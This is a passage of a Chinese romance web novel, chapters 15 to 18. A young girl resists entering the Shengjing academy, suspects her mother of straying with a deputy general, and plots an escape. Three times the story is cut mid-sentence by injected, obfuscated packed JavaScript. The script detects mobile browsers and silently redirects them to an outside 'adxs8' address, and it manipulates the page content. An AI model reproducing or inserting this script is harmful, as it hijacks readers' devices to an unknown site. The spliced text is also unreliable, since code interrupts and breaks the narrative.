景明帝不放心地盯了许久,最终也只能无奈道:“罢了,时辰不早了,你也早些回去休息吧。待到五月盛京院开院,你便与沈太傅一同入院吧。” 往外走了两步,景明帝又叮嘱关怀了几句:“刑部事务本就繁忙,又要兼顾盛京院里的事,你好好保重身体,也莫要太过操劳。” “是,谢陛下关心。” 景明帝满意地点点头,带着守在门口的秦公公快步离开。 直到景明帝走远,顾明池才缓缓舒出一口气。 沉静了片刻,他抬步欲走,这才反应过来一件事—— 他不是来拒绝盛京院的差事么?怎么就这么被景明帝诓哄着应下了! 一想到那群半大少年叽叽喳喳的扰人模样,一时大意的顾明池忍不住扶额啧声:“好多麻烦精啊......” * 时间一眨眼便溜去月余,被顾明池称作“麻烦精”之一的阮歆梨,还在家中做最后的入学挣扎。 “阿爹!你看阿梨新写得字!” 自从被下了一个月的禁足令后,阮歆梨便一直乖乖听话在家识字。 明面上看起来是小姑娘懂事了许多,似乎在为自己犯的错进行深刻反省。 但是反省究竟有几分,只有阮歆梨自己心知肚明。 “嗯,不错,阿梨最近进步很大,不仅识了许多字,书写也工整了不少。” 正在看医书的阮知闲,提笔批改起阮歆梨今日的功课,提点了一些书写要领后,阮歆梨也一一照做,学得倒是有模有样。 看到闺女的变化,阮知闲也甚是满意,面上笑容也比往常盛了不少。 阮歆梨握着笔斜眸观察阮知闲的神情,见他心情不错,转了转眼珠甜声道:“阿爹,你觉得阿梨在家学得如何?” “嗯,不错,超出了爹的预期。” 阮知闲起身去书架上放书,阮歆梨爬下扶手椅,化作一条小尾巴跟在阮知闲的身后道:“阿梨也觉得最近跟着爹与哥哥学到了好多东西,阿梨很开心!” “是么?”阮知闲回头看了一眼刚及自己腰身的女儿,摸了摸她的发顶道:“学而知乐,看来我们阿梨确实成长了许多。” 阮歆梨眨了眨眼,思考犹豫了片刻,这才想好话语尝试道:“主要是阿爹和哥哥教得好!阿爹饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142379|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读诗书,哥哥又是新科状元,所以阿梨才会学得这么快!所以......” 话至一半突然没了声,阮知闲看了看阮歆梨低头躲避的眼神,倏然明白了她的小心思。 阮知闲故意装作不知,回身整理书架道:“所以什么?” “所以......”阮歆梨趴到桌案边,双手垫着下颌小声道:“阿梨觉得在家可以学得更好,可不可以不去盛京院呀?” 就知道这小人精打得什么鬼主意! 阮知闲轻笑一声,低腰拒绝道:“不行。” 希冀的小脸又一次垮下,阮歆梨拽着阮知闲的袖摆一摇一晃道:“阿爹,为什么不可以啊!都是学习,阿梨在家也学得很好!” 为了证明自己学得很好,阮歆梨一把抓过自己放在桌上的功课软着嗓音道:“你看,刚刚你还夸阿梨呢!” “是不错,但是盛京院里你可以学到更多东西,也能结识很多朋友。”阮知闲耐着性子和阿梨解释道:“如果你每日都只在府中学习,书本上的内容就只会在纸页与你的脑海里。但是去了盛京院,你可以去和更多人交流,将所学用在生活中,还会认识许多伙伴,不再是只孤零零守在阿爹阿娘身边的小阿梨。” “所以,去盛京院与在家学习,效果是完全不同的。” 阮知闲捏了捏阮歆梨的小脸蛋道:“你也不要太抗拒去盛京院,还没去,又如何知道自己就一定会不喜欢?若是你当真不适合在那里学习,到时候再放弃也不迟。” 又一次劝说失败,阮歆梨彻底明白,这盛京院她是非去不可了。 好在她爹也没把话说得太紧,如果不合适,她还是有机会退学回来的! 阮歆梨也只得暂时作罢,还是有一点点不高兴地点了点头。 阮歆梨收好自己的功课,往内室张望了几眼道:“阿娘呢?她还没有回来么?” 阮知闲没有答话,只是看了看窗外夜色,眉头紧紧皱了起来。 “哎哟!将军您慢点!小心摔着!” 左青扶着林枝意歪歪倒倒地摸到了门口,听到动静的阮知闲赶紧上前搀扶。 闻到熟悉的草药味,林枝意迷离着双眼抚上阮知闲的颈侧道:“云郎......你还没休息呀?” “你还没回来,我又如何睡得安心。”阮知闲将人半抱入怀,对着一旁的左青道:“麻烦左将军了,你也早些回去吧!” “哎好!”眼见自家将军已经快用眼神扒了阮知闲的外衣,左青看了眼还在一旁好奇观察地阮歆梨,赶紧拉起她的小手道:“我把阿梨也一起送回屋吧,阮先生您只管照顾将军!” 阮知闲握紧林枝意已经摸着他胸襟的右手,面色微红道:“那就有劳左将军了。” 阮歆梨被左青半拉半抱地带出院子,半晌后鼻腔内的浓郁酒味才消散去。 她歪头看向拉着她的左青道:“青姨,阿娘她是喝了很多酒么?” 左青点头道:“是喝了不少,之前一直随着将军的薛副将总是寻将军去醉茗楼喝酒听曲,两人一高兴便容易喝多,颇为投机。” 薛副将? 阮歆梨思索了片刻,没印象。 但是脑海里却多了些许多奇奇怪怪的词语,什么红颜知己,莺莺燕燕,两小无猜...... 回想刚才问及阿娘,阿爹满是愁绪的神情,阮歆梨倏然一惊! 她娘不会是要学说书人嘴里的坏人,抛夫弃女吧?! 16. 第 16 章 入学前十二天,阿娘与薛副将喝到半夜回来。 入学前九天,阿娘陪薛副将去西山跑马。 入学前八天,阿娘陪薛副将和他的两位外地朋友吃饭。 ...... 入学前两天,阿娘和薛副将出门还没回来,干什么去了......不知道! 拿着林枝意最近的行踪记录,阮歆梨偷偷瞟了两眼还在整理草药的阮知闲。 身形颀长,肩背挺阔,玉貌清绝,气韵优雅。虽已快至不惑之年,但眼尾连细纹都没两条。 想想之前在门口偷看到的薛副将,虎背熊腰,皮肤黝黑,阮歆梨实在想不明白她的阿爹究竟是输在了哪? “怎么发起呆了,今日的功课做完了?” 阮知闲刚将草药分类放好,一回头就看见阮歆梨咬着笔尾盯着他在出神。 见阮知闲要过来查看功课,阮歆梨赶紧扒拉开桌上那张行踪记录匆忙藏在了书下! 看得清清楚楚的阮知闲:“......” 松鼠藏身只藏头,那么大的尾巴露在外面,还以为别人看不见。 自家闺女的蠢样实在是让人哭笑不得,阮知闲正准备过去看看她在藏什么小秘密,院外又是一声醉嚎:“云郎!我回来了!” 听到林枝意的吆喝,阮知闲身形一转,匆忙去院中搀扶踉跄而归的妻子。 “云郎!嗝!不好意思哈......嗝!”一连打了几个酒嗝,林枝意醉红着脸,自己摆了摆手扇去酒气道:“老薛今天带了个北边的朋友,说是千杯不倒!我不信!就和他喝了几杯......你猜怎么样?” 林枝意眯着眼,嘴角扬得快至耳根。 不用问也知道是什么结果,但阮知闲还是很给面子的哄问:“如何?枫娘喝赢了么?” “当然!”林枝意挥手兴奋道:“才两坛子他就趴那胡咧咧了!” “枫娘真厉害。” 阮知闲轻笑夸奖,小心地扶着林枝意进门,将她放躺至榻上。 眼前锦帐旋转,林枝意盯着看了好一会才觉出头痛,翻过身看向正在桌前忙碌的阮知闲。 阮知闲端着已经放温的醒酒汤回身,一抬头便对上了林枝意那双因醉意含着水色的凤眸。 他扶起醉得晃神的林枝意,任她在自己胸口处寻个舒服的姿势躺好,执勺轻舀,将醒酒汤一点一点喂了下去。 一碗醒酒汤下肚,林枝意也老实了许多,窝在阮知闲的怀中迷迷糊糊半阖了眼。 阮知闲低首看了许久,抬手替她敛好鬓边垂落的碎发,缓缓将人放回了榻上。 端着空碗走出内室,阮知闲这才想起书桌前还有一个小人儿。 转头望去,阮歆梨早已跳下了椅凳,扒着雕木隔断的边缘往内室探望。 “你阿娘已经睡下了。” 阮知闲只当她是担心林枝意,然而下一瞬阮歆梨却是担忧地望向他:“阿爹,你不要难过。” “嗯?” 阮知闲有些不解。 阮歆梨摸摸自己的眉心示意道:“阿爹不开心,所以这里和阿嬷一样有皱纹了。” 没想到小孩子也会这般敏感,阮知闲收了思绪笑道:“阿爹没有不开心,只是怕你阿娘喝多了伤身。” “好了,天色不早了,你先回去休息吧。” 阮知闲替阮歆梨收好桌上的纸笔,摸了摸她的脑袋道:“后日就该进盛京院了,要乖乖听先生们的话。” 抱紧自己的功课,阮歆梨收回窥探内室的目光,慢慢点了点头。 从门槛上跳过,走了几步阮歆梨又回头望向还没熄灯的卧房。 她看到她的阿爹又端了茶水过去,片刻后听到她阿娘的喟叹:“阿梨后天便要进盛京院了,最近都没时间陪她玩玩。” 阮知闲温声细语道:“那便明日一起带她出去逛逛,正好添些书具。” “明日啊......”林枝意无奈一啧:“明日不行,我得去营中安排到盛京院的人手,后日倒是可以送阿梨入学,但是大后天,老薛的朋友说是想给我引荐一个人,约好了去云善楼小坐。” 屋内沉默了片刻,阮知闲低柔着声道:“既是有事要忙,阿梨也会理解。逛街市便等她休常假时再说吧。” 阿娘这两日也不在家么? 阮歆梨眨了眨眼,心中担忧更甚。 第二日,林枝意一早便穿上软甲奔向虎腾营,直到阮歆梨熬不住睡过去时也没回来。 “小姐!该起床了!” 清晨,珍儿便扯着被角喊阮歆梨起床:“今天是入学的日子,第一天迟到可不好!小姐您快点醒醒,珍儿给您梳个漂亮的发髻!” 团成猫儿一样的阮歆梨慢慢探出两手,昂着头伸了个懒腰,慢吞吞地坐了起来。 两只乌黑的杏圆眼还没聚焦,她耷拉着脑袋敷衍道:“马上......再一会会......” 见阮歆梨已经坐起身,珍儿放心地出门去准备热水。 坐了好一会,终于彻底醒来的阮歆梨倒爬下床,拽过云嬷嬷已经提前挂好的衣物,打着呵欠自己穿起来。 想到一入盛京院,六天不能回家,阮歆梨就忍不住垂头叹了一口气。 应该是很无聊的日子吧...... “新买的小书、云片糕、面人.......” 阮歆梨嘴里碎碎念着等会要打包带进盛京院里的东西,等念到白泽面具时,倏然想起还有一个重要的东西! 连蹦带跳地来到窗台前,跪趴上软榻,她将摆放在矮桌上的琉璃盏捧了过来。 咦? 触手温凉的琉璃盏里放着一张折叠的签纸。 珠眸轻翻,阮歆梨回想着上次那张签纸,她好像已经收进桌屉里了。 眼睛微瞪,突然意识到什么的阮歆梨,斜转眼珠看向门外,见暂时无人过来,一把抓过盏内的签纸,背过身小心翼翼地展开来—— “五月初二,凶,不宜会友,小人行祟。” 经过一个多月的学习,阮歆梨这次倒是没费多大劲,基本将签纸里的内容懂了个七七八八。 与先前那张不同,这次的签纸字迹遒丽,运笔行云流水,都快和她阿爹的字一样好看了! 阮歆梨不禁感慨:“原来神仙也要练字么?进步这么快......” 好在分神时间不长,阮歆梨的注意力很快便回到了签纸的提示上。 “不适合见朋友,会有小人做不好的事。” 阮歆梨拨了拨自己垂在胸前的发梢:“五月初二......那不就是明天么!” 盛京院便是五月初一开院。 “不适合见朋友,谁要见朋友?” 阮歆梨有些着急,这个范围太广了! 阿爹、阿兄都有朋友,珍儿和秀儿也是她的朋友,那岂不是明天谁也不能出门,互相不能见面么? 不确定提示意思的阮歆梨,背着手一副老沉模样在屋中转来转去。 看看屋顶,咬咬嘴唇,想了许久还是什么也没想出来! “哟!今天起得还挺早!” 一进门就看到阮歆梨已经穿好衣服在屋中溜达,林枝意还挺惊讶。 想着今天盛京院开院,准备亲自去镇守的林枝意打算把自家皮猴一起捎上。 先前阮歆梨就一直闹着要骑大马,趁着今日同行, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146135|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚好可以满足她这个愿望,带她遛一遛,也算是这段时间她表现不错的奖励。 林枝意上下大量了一下阮歆梨今日的衣着,云嬷嬷特意给她挑选了一套嫣红的窄袖衣,配上带着狐纹的小短靴,整个人看起来抽条了不少。 也挺适合骑马。 林枝意从梳妆台上摸来两根细碎珠绳编成的发带,自己坐到了凳子上:“来,阿娘给你梳个漂亮的辫子!” 还在想心事的阮歆梨顺从地站到了林枝意的身前。 林枝意撩起小姑娘一小撮软发,左右看了两眼,咬着发带把阮歆梨披散的长发一把全抓束了起来。 “今天阿娘给你换个不一样的发型,干净利落,很适合骑马!” 林枝意一边捆着发绳,一边等着阮歆梨兴奋地欢呼,然而发绳系好也没等到阮歆梨有所反应。 “阿梨?”林枝意薅了一把自家闺女的马尾,歪头和她笑道:“今天阿娘带你骑马去书院!” 一心无法二用的阮歆梨,眸光未变随意道:“哦。” 林枝意轻声嘶气,点了点自己的下巴,开始观察起反应平静的阮歆梨。 这是还在为入学的事闹脾气? 思考片刻,林枝意打了个响指:“昨日你薛叔说,他养的马儿产了两匹小马崽,有一匹通体雪白,性子看起来也不错,明儿阿娘给你讨来养大当坐骑如何?” “薛叔?” 阮歆梨终于有了些反应,林枝意点头道:“对,你应该见过他的,高高壮壮......” “他是阿娘的朋友么?” “是啊!” 阮歆梨转扑到林枝意的怀中,扬着小脸急急道:“阿娘明天要和他见面么?” 她记得前晚阿娘说过明天要和薛副将吃饭! 林枝意点点头:“嗯,明日确实有事要与他一道出门,不过小马明日应该是没时间领回,你等阿娘......” “阿娘明日可不可以不见朋友!” 会友人,有小人! 林枝意怔了一下,复又摇头笑道:“当然不行,阿娘答应了薛副将要见他的朋友。” 想不到该如何劝阻林枝意,阮歆梨急得小脸抓成一团。 “行了,时间不早了,咱们该出发去盛京院了。” 林枝意出门唤来珍儿,将阮歆梨的行李收拾好,单手抱起小姑娘出了门:“走喽,带阿梨骑大马!” 京中街道无事皆不可快马疾驰,正好今日又是盛京院开院,各家都派了车马送自家适龄的孩子入学。 林枝意抱着阮歆梨出门,还没上马就遇到了慢悠行走的顾明池。 想到他也是闺女的先生,林枝意拍了拍阮歆梨的后背道:“阿梨,跟顾先生问好!” “顾先生?”阮歆梨转头看向一旁的男子,青竹锦袍白玉簪,只看身形分外清逸。 但当视线转移到那张俊得近妖的面容,阮歆梨眼眸一亮:“是獬豸哥哥!” 逐渐适应这些奇怪称呼的顾明池挑眉一笑,他上下打量了一下小姑娘今日红艳的衣服—— 小鸭梨变成小辣椒了。 突然想起那日她从墙头摔下也是今日这般的红衣,顾明池勾起了唇角:“今日入了学,可就得乖乖听话了,若是再像之前一样想偷偷溜走,我可就不客气了。” 阮歆梨神情一僵。 怎么个不客气法? 他怎么知道她明天打算偷偷溜出来! 看着阮歆梨的神情变化,顾明池也慢慢眯弯了眼—— 有猫腻。 阮歆梨慢慢避开目光,默默抱紧了林枝意的颈脖。 好可怕,这个獬豸哥哥好像狐妖变的。 17. 第 17 章 “左佥都御史府,张赫。” “吏部尚书府,左明珠” ...... 盛京院门口,高助教正拿着花名册一个一个核验入院人的身份。 所有的学生只能由家人送至门口,可携带一名随从进入。非休假时间,若想离开盛京院,必须有祭酒的手批,回来时也需凭身份玉牌方可进入。 顾明池此次主管明正堂,负责律令教学。他是先生,不急着入院,所以和林枝意她们道别后,便继续晃晃悠悠独自走往盛京院。 今日是开院第一天,太子也在学生之中。尽管防守早已部署好,林枝意还是放心不下,所以打算亲自去看一看,顺便把自家这个不省心的闺女带过去,免得路上再出其他岔子。 本以为到的早,来盛京院报到的学生不多,没想到门口早已排起长龙,林枝意只得带着阮歆梨一路排到了院门口的石狮旁。 阮歆梨昂着脑袋望向盛京院的门头,牌匾周围彩绘浮雕满目,她盯着浮雕上的波浪,顺着浪纹脉络转圈,在一片蓝白浪花中对上一只傲然探首的鳌头。 她伸出两手对着鳌头比了比大小,又放至自己脸边比较:“好大的脑袋啊......” 远远比较,这只鳌头都比自己的脸要大上好几圈,若是贴在跟前岂不是比她还大? 阮歆梨低回头再次看向盛京院的大门,这才意识到盛京院与家的区别,开始对它产生了好奇。 敞开的大门本可容数十人一同通过,如今守卫林立,院内的光景也被堵得丝毫不露。 蹲蹲起起好几次也只看到盛京院内那几块错落铺排的青石砖,阮歆梨只好放弃探望,继续思索她明日的出逃计划。 盛京院位处盛京城北面,院门南开,临着盛京最繁华的朱雀街。 朱红色的高墙下每十步便有一守卫立守,粗略数了十来人后,阮歆梨拉了拉林枝意的衣袖:“阿娘,这里有多少守卫啊?” “正门这边大概五十多人吧。” “那他们是每天都在这里看守么?” 林枝意低头看了眼沉沉思索的闺女,只当她是初到陌生环境而害怕:“只是今日这么站岗罢了,往后院门每天十人把守,剩下的人会组成卫队,围着学院南面来回巡逻。放心,不会有危险的。” 是不会有危险,但是里面的人也别想从南面偷溜出来。 阮歆梨垂眉瘪唇,看来得另找出路了。 “镇远大将军府,阮歆梨。” 院门口传来高助教的点名声,林枝意立即站直了身,拍拍阮歆梨的脑袋道:“喊到你了,快进去吧。” 珍儿拎着包裹已先一步上前收了玉牌,阮歆梨拖沓着走了两步,又停步回头看向了门口的林枝意。 黑珍珠般的瞳眸蒙了水雾,看得林枝意心中也有些不是滋味。 阮歆梨一直跟在她们身边,从未尝试独自离家。一想到要连着几日看不到孩子,林枝意的鼻腔也泛起了酸意:“快进去吧,六天后阿娘和阿爹一起来接你!” 酸意已经蔓延至口中,阮歆梨不敢张口,只抿紧唇用力瞪着眼点了点头,挥手与林枝意道别。 随后她毫不犹豫地转身迈进盛京院,一头扎去左边的廊柱下,双手捂住两眼,将蒸腾而出的水汽全部抹去。 歇了片刻,阮歆梨才低头挪开双手,入眼却是一只白净大手以及一方素白锦帕。 她慢慢偏头,白底青竹纹,熟悉的衣服纹样早上才见过。 快速地用手背抹干剩余眼泪,她抬头望向身侧,果然是那个说话会吓人的“獬豸哥哥”。 阮歆梨将沾着泪水的手猛背身后,圆睁着眼看向顾明池,也没有接他手中的锦帕,努力将刚才哭鼻子的模样藏了起来。 顾明池微怔,原来小朋友也会这般倔强要面子。 他轻笑着收起手帕,只当什么也没看到:“走吧,我带你去住处。” 难过只是分别的小情绪,很快那点伤心便被好奇冲散。 阮歆梨跟在顾明池的身后四处打量,一张小嘴就没有合拢过。 “那边有很多假山的地方是哪里?” 顾明池斜眸望了一眼:“行静阁,以后沈太傅会在那里教你们书学。” 阮歆梨又跑上前,指着东北方的院落道:“那边围了好大一片的又是什么地方?” “那是合心堂,邱先生会在那里教你们音律。” “哦。”阮歆梨点着脑袋瓜子,又张望到远处的低丘上有一间像是寺庙的屋宇,她激动指问道:“那里又是做什么的?” 顾明池低头瞥了眼被小姑娘马尾扫过的腹部,望向她新指的方向。 等看清她所指的地方,他眉宇轻扬,弯了腰在她身侧眯弯了眼:“那里可就不是人人都能去的了。” 越是去不得的地方,越能勾起人的好奇。 浓密的睫羽似蝶震翅,眼见胃口吊得差不多了,顾明池含笑温和道:“那里是思过堂,只有犯了院规的学生才会被关进去。少则一天,多则七日。” 亮晶晶的眼眸一下子就失了光,阮歆梨吞咽一声道:“犯了院规就要被关进去么?” “那倒不是,普通小错,只是先生稍加惩戒。会去思过堂的,都是犯了大过。” 阮歆梨轻轻松了一口气:“哦,那就好。” 桃花眸暗光流转,顾明池温声问道:“阿梨就不好奇犯了哪些大过才会被关进思过堂么?” 没等阮歆梨询问,顾明池体贴主动道:“比如未经批准偷溜出盛京院,再比如屡次撒谎,欺瞒师长。” 正在规划出逃路线的阮歆梨后背一凉—— 偷溜出去竟然算大过? 又是和早上同样的心虚神情。 顾明池敛去眸中精光,满意地直起身抬手抚了抚阮歆梨的发顶:“不过阿梨这么乖,肯定不会犯大过,自然也就没有机会进思过堂了。” 手下的“小辣椒”也没了呛人味,这会温得像小猫崽一样。 顾明池却偏要再吓她一下,故意反问道:“我没说错吧,阿梨?” “......是,阿梨最乖了。” 越说越低声,阮歆梨自己都有点不敢相信。 走过青石板铺就的回环廊桥,顾明池指着月洞门后的小路道:“沿着这条路上去便是学生所住的戎秀苑,你住在十八居。” 见阮歆梨还在迷糊走神,顾明池不禁提醒道:“早上收拾好东西,中午休息片刻,未时去入院时所见的那间文心殿参加入院典礼,莫要迟到。” “......哦。” 眼神无光,声音无力。 顾明池想起阮怀轩这两日的叨叨嘱托,最后还是和珍儿再交代了一遍,这才放心离去。 见阮歆梨无精打采,珍儿背好包裹拉起她道:“小姐,你看这边的院落和将军府一点也不一样!好多漂亮的花草,等会珍儿收拾好东西,陪您来逛逛吧!” 珍儿拖着阮歆梨往上倒行,没想到上方也有一对主仆正倒退下行。 双方便这么撞在了一起,一同摔在了石阶上! “小姐您没事吧!” 两道关怀一同响起,阮歆梨这才从刚才的“被恐吓”中回神。 珍儿担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原本躲在阿容身后的小姑娘倏然提高了音量,意识到自己的失礼,她又低了头,红着脸小声解释道:“不......不好意思,我......我很崇拜林将军,所以刚刚有些兴奋。” 想起阮歆梨方才是在介绍自己与她打招呼,红脸的兔子小姐又急忙自我介绍:“我叫方绾一,家父是盛京府同知。” 阮歆梨甜甜招呼道:“绾一姐姐好!” “姐姐不敢当!”方绾一匆匆摆手,低羞着头浅笑道:“你我同龄,唤我名字便好。” 阮歆梨歪头想了一下:“那阿梨可以喊你一一么?” “当然可以!” 听到称呼,方绾一的眸光亮了许多,面上笑意也深了几分。 见珍儿手上还提着行李,方绾一询问道:“你们是要去住所?” “是,我要去十八居。” 怔了一瞬,方绾一神情欣喜道:“好巧!我们同居!” 兴奋起来的方绾一话语也开始变多:“盛京院是两人一居,我本还在担心同居的人不好相处,没想到会是阿梨。” 阮歆梨也没想到这么巧,新认识的朋友就是自己的同居人。 高兴的方绾一顿时忘记了先前的紧张羞涩,主动拉起阮歆梨向上走道:“我带你去住所!” 一路上方绾一都在向阮歆梨介绍她所了解到的情况,不像先前的“獬豸哥哥”,问一句答一句,还让人心中怕怕的! 很快,阮歆梨就和方绾一变得相熟,成了形影不离的好伙伴。 方绾一事先做了充足的准备,对盛京院也很是了解,于是两人约好典礼之后一同在学院中转一转。 阮歆梨想,正好也可以趁这个机会找一找有没有好翻的院墙。 正规化着出逃时间与路线,她又倏然想起顾明池所说的思过堂...... 应该不会这么倒霉,初犯就被抓到还关小黑屋吧? 不会不会!一般第一次犯错都可以被原谅,最多一句“下不为例”! 阮歆梨自我宽慰地点了点头! 拯救阿娘出逃计划,准备启动! 18. 第 18 章 “一一,这个入学典礼还要多久才能结束啊?” 方绾一背脊挺立,听到阮歆梨的问话,低了首小声回话道:“根据以往的时间推算,大概还需要半个多时辰。” 身后响起倒吸气声,阮歆梨软趴在桌上苦着脸:“都已经换了三个人,说过半个多时辰了!” 盘着的腿酸麻难受,阮歆梨往四周瞟了一圈,见大家都在专心听杨司业叨叨规矩,悄悄将腿伸直放到了桌子下。 她探头瞅了一眼—— 很好,桌子够宽!正好能遮住她的腿脚,不会被人发现她在偷懒! 阮歆梨美滋滋地在桌下晃着两只小脚,鞋尖上的毛绒小球随着晃动一摇一摆。 杨司业实在是太能唠叨,闲站在一旁的顾明池只听了个开头便开始低着头神游,眼角余光忽然瞥到两团白色绒毛在颤动,低垂的眼尾慢慢扬了起来。 看来还是有小友和他一样感到无聊。 红底白球点缀的鞋子很是醒目,顾明池眯眼看了片刻,终于看清了小姑娘鞋面上的狐纹。他不禁勾唇一笑,也不知道为什么,她好像对狐狸格外偏爱。 “总之,大家既然进了盛京院,那便要严格遵守盛京院的院规,凡有逾矩者,轻则言语惩戒,重则退学不录。所以还是要潜心修学,莫要惹是生非。” 杨司业动了动有些干硬的唇瓣,终于停止了说教,看向一旁捋着胡须的沈太傅道:“沈太傅,您也给大家说几句吧!” 原本端坐的学子们,经过杨司业的一番长时间教导,逐渐软了腰身,神情呆滞。 沈太傅轻笑一声,点头顺意道:“那我便简单说两句吧。” “关于盛京院的规矩,杨司业说得已甚是清楚,我便不再多言。”沈太傅瞥了眼一旁垂眸走神的顾明池,含笑提醒道:“学者从师。在盛京院内,不仅是学生要遵守规矩,师亦如此。师者为人表,学生犯错,为师者亦有不可推卸的责任,所以各位同僚务须端正己态。” 终于不再只是给学生立规矩,下方的少年们顿时来了精神,胆子大点的深深点头,双手合拢恨不得拍出掌声。 感觉出氛围的变化,顾明池回神望向主位,正好与沈太傅对视在一起。 “明池,你任于刑部,主教律学,做事又最是严明。”沈太傅与一旁的杨司业商量道:“不若让他辅佐司业,管理学子言行。” 这届学子身份比以往更是尊贵,轻易开罪不得。杨司业本就在头疼管教之事,这会沈太傅主动给他找了个助手,他自是乐见其成。 “如此甚好!”杨司业高兴应声,与沈太傅两人便将管教之责加到了顾明池身上。 “明池,你意下如何?” 当着众人的面,又不好拂了恩师的意。 顾明池只得含着笑俯身接揽下新活:“一切便听太傅安排。” “如此,诸位今后便要认真听从杨司业与顾先生的管教安排。今日典礼便至此结束,接下来的时间,可自由结伴去了解学院各处。” 听到典礼结束,反应快的学生已经从座位蹿起,沈太傅倏然想起还未安排明日的课程。 顾明池瞥向一直东张西望探看院周的阮歆梨,心中有了盘算:“今日大家方才入学,学生认为还是需要给他们一些适应的时间。明日课程便由学生先来,以促进大家互相熟识为主。” “我觉得顾大人考虑得很周全!”刚刚把烫手山芋分了一半给顾明池,这会杨司业对他很是认同:“沈太傅,不若就按顾大人的安排来?” 沈太傅捻胡点头:“甚好。” 今日可以游园,明日又不急着开课,本来入学还有些情绪低落的学生顿时恢复了精神。 阮歆梨一心想着找一条合适的出逃路,她拉了拉方绾一的袖摆道:“一一,你知道院内哪里有靠外墙的树么?” 身旁的人没有回声,阮歆梨回头一看,方绾一低垂着头似乎是在看地面,但阮歆梨比她矮了一头,只轻轻斜眼,便清楚地看到方绾一那双眸子正偷偷斜望向左前方。 明眸似水,面带桃红。 阮歆梨觉得方绾一的神情很有意思,顺着她的目光望去,看到了立于人群中的俊朗少年。 那少年一袭云锦金纹圆领袍,不同于其他尚且留辫盘髻的同学,头上的镶珠金冠衬得他更加沉稳成熟。他身旁的少年郎们还在喧哗着商量要先去何处游看,他则微笑静听,只偶尔说两句自己的看法,温雅而又和煦。 阮歆梨认得他。早上林枝意向他行礼打过招呼,那是当朝太子裴旭。 方绾一害羞带怯地偷窥着,入神之际,耳边传来轻软地呵气声:“太子怎么得罪你了呀?你一直在瞪他,气得脸都红了。” 突然的询问,吓得方绾一瞳眸一颤。她赶紧收回视线抬手捂住了双颊。羞赧无措间才恍然意识到阮歆梨刚刚说了什么,她滚烫着脸颊小声道:“没......太子与我素不相识,我......刚刚也不是在看他,只是在......在看他身后那棵树罢了。” 看树? 阮歆梨疑惑地望去,那就是一棵普通的不知名树,也不知道为什么会让方绾一看得情绪起起伏伏。 “好了,不说这个。”方绾一与阮歆梨紧挨在一起咬耳根道:“你想先去哪里游赏,我陪你一起。” 想起自己还没找好偷溜出去的路线,阮歆梨赶紧指了指北面花园:“那边是不是可以通往院外?” 方绾一顺着望去,回想片刻点了点头:“好像是有一扇小门,不过那是留给院内杂役进出的。门口有守卫,我们只能凭杨司业手批,从南大门进出。” “怎么?你是有事要出去么?”方绾一不禁提醒道:“除非家中有事,来人相接,否则,杨司业是不会批准学生外出的。” 怕被看出想法,阮歆梨赶紧摇头摆手:“没有!阿梨才刚来盛京院,怎么可能会出去呢?我只是随便问问。” 想想也是如此,方绾一便没再多问。阮歆梨盯着葱茏的花园外围,挽上方绾一的胳臂往那边走道:“一一,我看那边的树也不错,我们一起过去看看吧!” 方绾一又偷瞄了眼还在与身边人笑语的太子,慢慢低垂了首有些落寞地点了点头:“好,我们先去逛花园。” 阮歆梨拉着方绾一小跑而走,直到红色的裙摆消失在小径,一直偷偷窥视的沈良朝才敢上前几步探头明望。 留意到沈良朝的举动,太子行至他身侧同望道:“良朝在看什么?” “没什么。”沈良朝惊回了神,随口扯了个理由道:“我看花园那边的花不错,打算过去看看。” 太子不禁有些讶异:“良朝你不是一向不爱花草么?今日怎么有了闲情雅致要去赏花?” 沈良朝支吾了两声胡诌道:“平时看不到的就觉得稀奇,所以突然有了兴趣。” 仔细想想说得还挺有道理,太子莞尔一笑:“说得在理,我与良朝同游共赏吧。” “嗯......好。” 火红的身影早已消失无踪,沈良朝急切疾走道:“我先行一步,殿下若是不急,可慢慢跟来,我在前面等您。” 沈良朝火急火忙地样子,反倒是激起了众人的好奇,本就打算跟着太子同行的人,便一同起意先去花园逛一逛。 一时间小径上挤满了人,乌泱泱地往花园走去。 “这届学生倒是不错,小小年纪竟能静下心去欣赏山石草木。”杨司业摇头啧声:“不像过往的那些学生,典礼一结束总是迫不及待地先去校场看马,玩心重,很浮躁!” 说到这,杨司业看向一旁的顾明池道:“我记得顾大人入院那年,也是先去了花园游赏,果然这灵性自幼便可看出一二呀!” 突然被夸奖的顾明池轻咳一声,揉了揉自己的鼻尖,神情有些尴尬道:“杨司业过奖,那不过是换个地方玩乐罢了,哪谈得上什么灵性。” 顾明池的反应有些奇怪,杨司业不明所以。沈太傅含笑深深看了眼顾明池,察觉到沈太傅的目光,顾明池微红了脸向他拱手讨饶。 沈太傅低低笑出了声,慢慢摇了摇头道:“少年人有少年人的天地,看马也好,赏花也好,他们自有收获,我们也不能全以成人的观念去看待。” “我这新得了份山野春茶,司业可要一同去尝尝,顺便来上一局?” 沈太傅立起二指虚点,杨司业立即会意搓手:“那可太好了!老王走了后,我也没了棋友,今日能和沈太傅来一局,甚是荣幸,甚是荣幸!” 